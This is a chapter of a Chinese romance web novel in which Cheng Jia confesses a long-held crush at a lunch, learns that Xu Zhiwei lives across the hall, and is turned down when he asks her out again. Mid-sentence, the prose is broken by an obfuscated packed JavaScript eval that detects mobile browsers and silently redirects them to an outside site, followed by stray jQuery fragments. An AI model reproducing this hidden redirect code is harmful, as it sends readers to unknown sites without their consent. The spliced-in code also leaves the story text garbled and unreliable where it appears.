“我们没在一起过。”


    程迦的大脑，在那一瞬间，彻底失去了所有参照，并没有松一口气，反而陷入认知的全面塌陷。


    他构建了十几年的，关于她与顾呈为什么会走到一起的完美方程式，被这句话轻描淡写地抽走了。


    ——怎么会，没在一起过？


    这个冲击太直接，以至于他那些常年运转的、用于自保的理智和社交面具，出现了短暂的延迟。


    他几乎是下意识地脱口而出：


    “为什么？”


    声音不高，却带着一种他自己都没察觉的迫切。


    话一出口，迟滞感才猛地扇醒了他。


    这不是他该问的。


    这逾越了所有上司、同事、甚至朋友的边界，也暴露了他对她的过去过分且不合时宜的关注。


    可话已经像泼出去的水，收不回了。


    桌面上的空气凝滞了，仿佛连鼎泰楼的喧嚣都被按下了暂停键。


    许知微明显愣了一下，抬眼看他，目光里掠过一丝讶异。


    可她也只是停顿了几秒，然后漫不经心地回答说：


    “不合拍。”


    没有多余解释，没有情绪残留，却让程迦感到惶恐。


    ——不合拍？


    ——天鹅跟天鹅怎么会不合拍？


    这太主观，太无从下手，这还让他怎么改造自己？让自己有迹可循地成为配得上她的人？


    如果连年级第一第二、目标一致、众人艳羡那样的组合都叫不合拍，那她口中的合拍，到底是什么？


    他指尖在桌下无意识地地蜷缩起来，大脑开始失去方向地瞎忙。


    ——聊天不顺？


    ——节奏不一？


    ——想法相左？


    ——生理排斥？


    ——三观不合？


    ——五官冲突？


    他强迫症般地开始对照自己和顾呈的模板：他理性，克制，甚至有些冷酷。


    顾呈：阳光，健谈，总是充满活力。


    如果她排斥的是顾呈那种类型天鹅，那他程迦这种，是不是反而——


    一种难以言表的窃喜浮上心头，又被他下意识地摁了下去。


    ——万一，她就是不喜欢跟自己一样的白天鹅呢？


    这个具摧毁性的假设，狠狠刺穿了他的理智。


    若真是如此，那他这些年，像疯了一样，把自己从那个阴暗角落里的胖子，打磨成现在这个程迦——成功，体面。或许终于能配得上站在她身边的天鹅——这一切的努力，意义何在？


    如果她眼里的合拍，从来无关乎这些外在的条件和成就，那他所有这些年的蜕变，在她眼里，会不会根本就是一场，徒劳的自我感动？


    思绪一旦滑向这个自我质疑的深渊，就再也刹不住车。


    一种混合着巨大恐慌和强烈不甘的窒息感，扼住了他的喉咙，再次让他失语。


    直到林芮的声音，带着一种看热闹不嫌事大的好奇，轻巧地插了进来：


    “那程总呢？”


    她托着下巴，目光在他和许知微之间逡巡，语气轻快，仿佛没有在探究私人空间：


    “有没有女朋友啊？”


    程迦明显一怔。


    这问题像一滴油砸进他本已经沸腾的思绪漩涡，他甚至来不及调动任何社交辞令或权衡利弊，几乎是条件反射般地回答：


    “没有。”


    话音落下，他才猛地意识到，这个回答不好。


    ——她会不会觉得自己不想要找女朋友？


    他不受控制地偏过头，看了一眼身旁的许知微，见她正垂着眼，专注地吹着茶杯里的浮沫，神情平静得看不出任何波澜。


    ——不行，她已经迈出一步了，剩下的九十九步，都应该自己来！


    可还来不及整理好合适的话语，林芮已经顺着话头，抛出了下一个的问题。


    这一次，她的语气里少了几分玩笑，多了几分认真的探究：


    “那——有喜欢的人吗？”


    一瞬间，桌上的氛围陡然一变。


    周峥停下了夹菜的动作。


    许知微也终于抬起了眼看向他。


    在她的注视下，程迦感觉到自己的口鼻被什么无形的东西扼住了，呼吸变得滞涩。


    理智一如既往地在疯狂示警：


    ——这问题是隐私。


    ——这问题是越界。


    ——可以不搭理。


    ——如实相告，则是将自己最脆弱的内核暴露在陌生人的审视之下。


    可所有的警告，在她的注视下，都显得微不足道。


    他不想再错一次。


    所以头一次，他在没有做好万全准备前，随心而答，带着孤注一掷的勇气：


    “有。”


    他顿了顿，像是在确认，也像是在对自己这漫长的执念，进行一次正式的命名：


    “喜欢了……”


    他喉结滚动，补上了那个连自己说出来都觉得有些荒谬的时限：


    “……十几年。”


    *


    饭局结束的时候，程迦几乎是靠肌肉记忆在行动。


    结账、起身、道别，每一个动作都如同他做过的商业课作业般，完美收尾。


    但只有他自己知道，那只是身体在执行指令，意识早已被自己毫无准备的告白，抽空了一大块。


    他甚至不太记得自己是怎么走出鼎泰楼的。


    只记得门口的风有点凉，阳光刺得他眯起眼。


    而许知微走在他前方半步的位置，始终没有回头。


    太近。


    又太远。


    一路无言，进了公寓电梯。


    林芮和电话那头的周峥还在低声说着什么，大概是一会儿去哪里，路况如何，语气已经恢复成一对刚刚和好的情侣那种自然。


    程迦和许知微并排站在一旁，两人的目光同时落在不断跳动的楼层数字上，带着某种无声的默契。


    11。


    12。


    数字停住，门打开。


    他先一步走出电梯，下意识地往右侧让了半步，给她们留出空间。


    手刚伸进口袋准备掏钥匙。


    林芮的声音又带来了意外。


    “……等等。”


    逐渐攀升又极其熟悉的兴奋音调。


    程迦拿钥匙的动作顿住了。


    他看见林芮的目光在走廊两侧飞快地来回扫了一圈，最后精准地钉在他和许知微之间。


    她的表情像被按了快进键：从疑惑，到恍然，再到无以言表的震惊。


    “不是吧？！”她语调控制不住地往上飘，像突然坐上了过山车的爬升轨道，“你、你们——”


    她猛地转头看向许知微。


    “微微，他住你对门？！”


    程迦几乎是本能地屏住了呼吸，下意识地看向许知微。


    等待。


    期待。


    甚至有一丝隐秘的、几乎要破土而出的雀跃。


    ——她，会怎么说？


    “凑巧。”


    许知微立刻开口，语速明显比平时快了一点，把一切可能燃起的火星死死按灭。


    “我也是刚搬过来不久，没注意。”


    她的视线甚至没有在他脸上停留哪怕0.1秒，只是伸手，一把抓住了林芮的手腕。


    “你行李不是还在我那吗？赶紧进来拿。”


    “周峥还在楼下等你呢。”


    这一连串话抛出来，几乎不给他插话的余地。


    他微微皱眉，有些疑惑。


    ——被自己那十几年的沉重喜欢吓到了么？


    林芮显然还处在信息量过载的亢奋中，被她拉着往屋里走，嘴却没停：


    “不是，这也太——”


    “你不是对他——”


    后半句话没能说完，门已经被推开。


    许知微几乎是半推半拖地把人塞了进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199878|196129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去，语气压低，带着明显的警告意味：


    “闭嘴吧你。”


    门在她们身后关上。


    咔哒一声，走廊重新安静下来，只剩下程迦一个人，站在原地，手里还拿着钥匙。


    过了许久，他似乎想明白了什么，嘴角控制不住地上扬。


    ——果然，没推理错。


    ——他的微微也跟自己一样。


    ——喜欢暗恋。


    这个认知像烟花一样在胸腔里炸开，绚烂得让他头晕目眩。


    所有刚才的紧绷的不确定跟小心翼翼，在这一刻全都被冲刷得一干二净。


    他拿着钥匙，哼着不成调的小曲打开家门，脱下外套，随手挂好，动作轻快。


    正准备开灯，却又想起了什么，开了个门缝，侧耳倾听。


    对门隐约传来声音：行李轮子滚过地面的轻响，林芮压低却仍难掩兴奋的追问，许知微明显刻意压下去的回应。


    虽然听不清内容，但每一个细微的动静，都成了最好的佐证。


    他忍不住笑出声，关门前甚至原地蹦了一下，差点撞到灯吊坠，像个得到糖的孩子。


    然后冲进浴室，用最快的速度洗了个澡，水声都盖不住他哼的歌。


    换上舒服的家居服，坐到书桌前，打开电脑，屏幕的光映亮他带笑的脸。


    他要开始查约会攻略，今天的约会，真的不太行，跟他梦里的，差远了。


    ——果然，还是需要再来一次有万全准备的告白。


    指尖在控制板上飞舞，透过眼镜，米其林餐厅的招牌菜，小众画廊的展览信息，郊外新开的星空营地，口碑爆棚的爱情电影排片。


    六个小时后，一份十八页的PDF诞生了。


    标题是《理想约会（备选参考）》，目录清晰，附录齐全，甚至考虑了天气预案和备选方案。


    ——完美。


    他靠进椅背，长长地舒了一口气，满足感涨满胸腔。


    晚上七点多。


    手机屏幕亮起又暗下，暗下又亮起。


    思索了许久，他终于点开那个对话框，删删改改，最后敲定：


    【今天中午有点仓促。】


    【如果你这周有空，找个时间再一起吃饭？】


    发送。


    然后，死死盯住屏幕。


    对方正在输入中，等了许久。


    那几分钟，每一秒都缓慢得折磨人，他甚至又开始焦虑。


    ——这条消息是不是太直白？


    ——太急切？


    ——是否越过了她的暧昧边界？


    对方正在输入中终于变回了许知微的名字，消息也如期而至。


    【最近事情有点多，可能不太方便。】


    语气克制，礼貌，干净利落，却没有解释，也没有给下一次的约定。


    ——这不对，怎么看着像是一个无可转圜的婉拒？


    程迦盯着那几行字，看了很久，久到屏幕自动暗下去，他又按亮。


    再暗，再按亮。


    被拒绝的失落反而没有最先出现，最先出现的反而是困惑。


    他第一次，对自己此前所有的推演，产生了天翻地覆的动摇。


    ——她，不是也喜欢自己么？


    ——为什么会拒绝？


    ——不喜欢？


    ——可如果她不喜欢，那她为什么会观察他那么久？


    ——为什么能将“走leetcode”和“程迦”精准对齐？


    ——为什么会在电梯里，用那种眼神问出那句话？


    ——为什么会策划那场直播的敲门恶作剧？


    ——可如果她喜欢，那她现在的后退，又算什么？


    电脑屏幕还亮着。


    那十八页精心准备的PDF，此刻像一场盛大而安静的嘲讽。


    他缓慢地，缓慢地靠进椅背，刚才冲上云霄的情绪，此刻正以失控的速度，朝着看不见底的深渊，俯冲而下。